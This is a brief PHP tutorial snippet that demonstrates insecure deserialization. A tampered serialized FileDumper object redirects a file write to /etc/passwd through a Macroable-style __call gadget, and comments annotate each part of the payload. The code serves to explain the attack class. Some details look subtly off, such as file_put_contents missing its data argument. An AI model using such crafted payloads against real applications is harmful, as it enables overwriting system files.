- unserialize: documentation ( source)
- serialize: documentation ( source)
- file_put_contents: documentation ( source)
<?php
class FileDumper {
private $filename;
public function __construct($filename) {
$this->filename = $filename;
}
public function dump() {
file_put_contents($this->filename);
}
//
// Below is basically what Macroable does
//
private $macros = [];
public function macro($name, $callable) {
$this->macros[$name] = $callable;
}
public function __call($name, $arguments) {
return call_user_func_array($this->macros[$name], $arguments);
}
}
$exampleFileDumper = new FileDumper('/foo/bar.txt');
echo serialize($exampleFileDumper); // The plain, unedited FileDumper object
// This is the one we tampered with
$serialized = 'O:10:"FileDumper":2:{s:20:"FileDumperfilename";s:11:"/etc/passwd";s:18:"FileDumpermacros";a:1:{s:4:"open";a:2:{i:0;r:1;i:1;s:4:"dump";}}}';
/*
Neatly formatted with explanations:
O:10:"FileDumper":2:{ # instance of FileDumper class with 2 properties
s:20:"FileDumperfilename"; # property "filename" on "FileDumper"
s:11:"/etc/passwd"; # altered to "/etc/passwd" - note the different length
s:18:"FileDumpermacros"; # property "macros" on "FileDumper" - this was empty before, but we added something to it
a:1:{ # it's an array with one element
s:4:"open"; # under the key "open":
a:2:{ # an array with 2 elements
i:0; # under key 0:
r:1; # a reference to the object itself (essentially just $this)
i:1; # and under key 1:
s:4:"dump"; # the string "dump"
}
}
}
*/
$modifiedDumper = unserialize($serialized);
$modifiedDumper->open();